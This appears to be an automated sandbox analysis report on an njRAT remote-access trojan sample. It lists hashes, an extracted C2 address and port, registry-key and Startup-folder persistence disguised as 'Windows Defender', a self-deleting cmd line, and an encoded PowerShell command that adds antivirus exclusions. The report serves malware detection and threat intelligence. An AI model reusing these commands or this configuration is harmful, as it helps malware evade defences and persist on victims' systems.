Analysis
-
max time kernel
91s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20231222-en -
resource tags
arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system -
submitted
28-01-2024 15:14
Static task
static1
Behavioral task
behavioral1
Sample
6ADD6FA3EA74FFCBA90B3630ACDE5182.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
6ADD6FA3EA74FFCBA90B3630ACDE5182.exe
Resource
win10v2004-20231222-en
General
-
Target
6ADD6FA3EA74FFCBA90B3630ACDE5182.exe
-
Size
76KB
-
MD5
6add6fa3ea74ffcba90b3630acde5182
-
SHA1
cd202aa598e13a57e6d2bb8c614eb3122d6fb280
-
SHA256
1092849f2f8f3fb0d1f89f0bff367d0a0f1f138fe5eb45b56f0a970b1677e4be
-
SHA512
b57f846773f78fda8ba5c8b4b718d092d9037df788d0ea41954d6170bc1e35391ab10d8d12658b8be26e31a16deb78e665c74d5fdc44d11c8bf8216af3ff794b
-
SSDEEP
1536:I8R7MJTttj9U5XvdKygf7oFOepKmqwBCmDqorCMCX9QKkW:lCftjK5FKZf+OfwcmZ2RX9QLW
Malware Config
Extracted
njrat
Njrat 0.7 Golden By Hassan Amiri
Svchost
95.173.255.238:4444
Windows Defender
-
reg_key
Windows Defender
-
splitter
|Hassan|
Signatures
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
6ADD6FA3EA74FFCBA90B3630ACDE5182.exeServer.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation 6ADD6FA3EA74FFCBA90B3630ACDE5182.exe Key value queried \REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation Server.exe -
Drops startup file 2 IoCs
Processes:
Svchost.exedescription ioc process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows Defender.exe Svchost.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows Defender.exe Svchost.exe -
Executes dropped EXE 2 IoCs
Processes:
Server.exeSvchost.exepid process 1716 Server.exe 2848 Svchost.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
Svchost.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows Defender = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Svchost.exe\" .." Svchost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Defender = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Svchost.exe\" .." Svchost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry class 1 IoCs
Processes:
6ADD6FA3EA74FFCBA90B3630ACDE5182.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000_Classes\Local Settings 6ADD6FA3EA74FFCBA90B3630ACDE5182.exe -
Runs .reg file with regedit 1 IoCs
Processes:
regedit.exepid process 3564 regedit.exe -
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 2488 powershell.exe 2488 powershell.exe -
Suspicious behavior: GetForegroundWindowSpam 2 IoCs
Processes:
Server.exeSvchost.exepid process 1716 Server.exe 2848 Svchost.exe -
Suspicious use of AdjustPrivilegeToken 12 IoCs
Processes:
powershell.exeSvchost.exedescription pid process Token: SeDebugPrivilege 2488 powershell.exe Token: SeDebugPrivilege 2848 Svchost.exe Token: 33 2848 Svchost.exe Token: SeIncBasePriorityPrivilege 2848 Svchost.exe Token: 33 2848 Svchost.exe Token: SeIncBasePriorityPrivilege 2848 Svchost.exe Token: 33 2848 Svchost.exe Token: SeIncBasePriorityPrivilege 2848 Svchost.exe Token: 33 2848 Svchost.exe Token: SeIncBasePriorityPrivilege 2848 Svchost.exe Token: 33 2848 Svchost.exe Token: SeIncBasePriorityPrivilege 2848 Svchost.exe -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
6ADD6FA3EA74FFCBA90B3630ACDE5182.exeServer.exeSvchost.execmd.exedescription pid process target process PID 2616 wrote to memory of 2488 2616 6ADD6FA3EA74FFCBA90B3630ACDE5182.exe powershell.exe PID 2616 wrote to memory of 2488 2616 6ADD6FA3EA74FFCBA90B3630ACDE5182.exe powershell.exe PID 2616 wrote to memory of 1716 2616 6ADD6FA3EA74FFCBA90B3630ACDE5182.exe Server.exe PID 2616 wrote to memory of 1716 2616 6ADD6FA3EA74FFCBA90B3630ACDE5182.exe Server.exe PID 2616 wrote to memory of 1716 2616 6ADD6FA3EA74FFCBA90B3630ACDE5182.exe Server.exe PID 2616 wrote to memory of 3564 2616 6ADD6FA3EA74FFCBA90B3630ACDE5182.exe regedit.exe PID 2616 wrote to memory of 3564 2616 6ADD6FA3EA74FFCBA90B3630ACDE5182.exe regedit.exe PID 1716 wrote to memory of 2848 1716 Server.exe Svchost.exe PID 1716 wrote to memory of 2848 1716 Server.exe Svchost.exe PID 1716 wrote to memory of 2848 1716 Server.exe Svchost.exe PID 2848 wrote to memory of 3856 2848 Svchost.exe cmd.exe PID 2848 wrote to memory of 3856 2848 Svchost.exe cmd.exe PID 2848 wrote to memory of 3856 2848 Svchost.exe cmd.exe PID 3856 wrote to memory of 2324 3856 cmd.exe PING.EXE PID 3856 wrote to memory of 2324 3856 cmd.exe PING.EXE PID 3856 wrote to memory of 2324 3856 cmd.exe PING.EXE
Processes
-
C:\Users\Admin\AppData\Local\Temp\6ADD6FA3EA74FFCBA90B3630ACDE5182.exe"C:\Users\Admin\AppData\Local\Temp\6ADD6FA3EA74FFCBA90B3630ACDE5182.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAYQB6ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAZgBsACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHUAdQBsACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGQAZwBnACMAPgA="2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\Server.exe"C:\Users\Admin\AppData\Local\Temp\Server.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Svchost.exe"C:\Users\Admin\AppData\Local\Temp\Svchost.exe"3⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd.exe /c ping 0 -n 2 & del "C:\Users\Admin\AppData\Local\Temp\Svchost.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\regedit.exe"regedit.exe" "C:\Users\Admin\AppData\Local\Temp\ZulaHAX.reg"2⤵
- Runs .reg file with regedit
-
C:\Windows\SysWOW64\PING.EXEping 0 -n 21⤵
- Runs ping.exe
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\Server.exeFilesize
43KB
MD53d5e301c8221356991a5522034c5b907
SHA1d71baabd5d474aa4aabc865e2ca73db578c71a6d
SHA256c69616a4c334e550278446c2404e5ac5b896938179ade3a64afcfdf19b254e21
SHA5129bb1feab4689858fd3034b64d9549ecc60a54a7c8f7e70eff22730855e375921c27901dcdc50e812266b1a80a269dfab2a4df82e8feba65e51e99d162501fc13
-
C:\Users\Admin\AppData\Local\Temp\ZulaHAX.regFilesize
281B
MD5682e7f391ab8b4da7f66c32606e72d40
SHA1246ba406ea9993dcef6c0924e4aa81acefc74209
SHA2563cf29dc045b5c52fca23b16e252dd4d19d18faae0a2ccae3c3543259bbb456dc
SHA512a1ddffc1f9441373b8c3214a221c840e420dadf4b9709578551886340d6a026bdaed142ea8dca164f536414292becad05795e9c8136d82ba1c3f9ff8bb0419d5
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hbrduo4y.4wy.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
memory/1716-27-0x00000000745B0000-0x0000000074B61000-memory.dmpFilesize
5.7MB
-
memory/1716-45-0x00000000745B0000-0x0000000074B61000-memory.dmpFilesize
5.7MB
-
memory/1716-19-0x00000000016D0000-0x00000000016E0000-memory.dmpFilesize
64KB
-
memory/1716-22-0x00000000745B0000-0x0000000074B61000-memory.dmpFilesize
5.7MB
-
memory/2488-16-0x00007FF8CA8B0000-0x00007FF8CB371000-memory.dmpFilesize
10.8MB
-
memory/2488-34-0x00007FF8CA8B0000-0x00007FF8CB371000-memory.dmpFilesize
10.8MB
-
memory/2488-17-0x0000027854C40000-0x0000027854C50000-memory.dmpFilesize
64KB
-
memory/2488-18-0x0000027854C40000-0x0000027854C50000-memory.dmpFilesize
64KB
-
memory/2488-21-0x0000027856A70000-0x0000027856A92000-memory.dmpFilesize
136KB
-
memory/2616-15-0x00007FF8CA8B0000-0x00007FF8CB371000-memory.dmpFilesize
10.8MB
-
memory/2616-0-0x0000000000BC0000-0x0000000000BD8000-memory.dmpFilesize
96KB
-
memory/2616-2-0x000000001B760000-0x000000001B770000-memory.dmpFilesize
64KB
-
memory/2616-1-0x00007FF8CA8B0000-0x00007FF8CB371000-memory.dmpFilesize
10.8MB
-
memory/2848-44-0x00000000745B0000-0x0000000074B61000-memory.dmpFilesize
5.7MB
-
memory/2848-46-0x00000000745B0000-0x0000000074B61000-memory.dmpFilesize
5.7MB
-
memory/2848-49-0x00000000745B0000-0x0000000074B61000-memory.dmpFilesize
5.7MB
-
memory/2848-51-0x00000000745B0000-0x0000000074B61000-memory.dmpFilesize
5.7MB